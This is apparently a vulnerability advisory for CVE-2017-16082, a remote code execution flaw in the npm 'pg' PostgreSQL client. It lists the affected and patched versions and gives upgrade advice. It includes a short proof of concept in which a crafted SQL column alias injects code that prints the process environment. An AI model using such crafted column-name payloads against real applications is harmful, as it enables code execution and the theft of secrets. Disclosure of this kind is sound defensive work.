All reports
Critical

Remote Code Execution in pg

Affected versions

npmpg
Affected versions
>= 6.1.0, < 6.1.6
Fixed version
6.1.6
npmpg
Affected versions
< 2.11.2
Fixed version
2.11.2
npmpg
Affected versions
>= 7.1.0, < 7.1.2
Fixed version
7.1.2
npmpg
Affected versions
>= 6.2.0, < 6.2.5
Fixed version
6.2.5
npmpg
Affected versions
>= 5.0.0, < 5.2.1
Fixed version
5.2.1
npmpg
Affected versions
>= 6.0.0, < 6.0.5
Fixed version
6.0.5
npmpg
Affected versions
>= 4.0.0, < 4.5.7
Fixed version
4.5.7
npmpg
Affected versions
>= 3.0.0, < 3.6.4
Fixed version
3.6.4
npmpg
Affected versions
>= 6.3.0, < 6.3.3
Fixed version
6.3.3
npmpg
Affected versions
>= 6.4.0, < 6.4.2
Fixed version
6.4.2
npmpg
Affected versions
>= 7.0.0, < 7.0.2
Fixed version
7.0.2

Exploitation

CVE-2017-16082

Probability of exploitation in the next 30 days: 10.26%

FIRST EPSS · 2026-11-21

Description

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

  1. The application executes unsafe, user-supplied sql which contains malicious column names.

  2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

  • Version 2.x.x: Update to version 2.11.2 or later.

  • Version 3.x.x: Update to version 3.6.4 or later.

  • Version 4.x.x: Update to version 4.5.7 or later.

  • Version 5.x.x: Update to version 5.2.1 or later.

  • Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )

  • Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )

Links